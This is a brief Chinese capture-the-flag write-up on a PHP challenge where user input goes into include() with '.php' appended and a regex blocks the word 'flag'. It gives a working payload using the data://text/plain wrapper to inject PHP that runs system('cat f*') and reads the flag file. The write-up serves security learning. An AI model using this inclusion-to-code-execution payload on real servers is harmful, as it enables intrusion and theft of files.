命令执行:include($c.”.php”)的绕过
代码如下:
<?php //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
看似被.php吓住了,但实际十分简单,只要使用:data://text/plain
这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用
payload:
?c=data://text/plain,<?php system(“cat f*”); ?>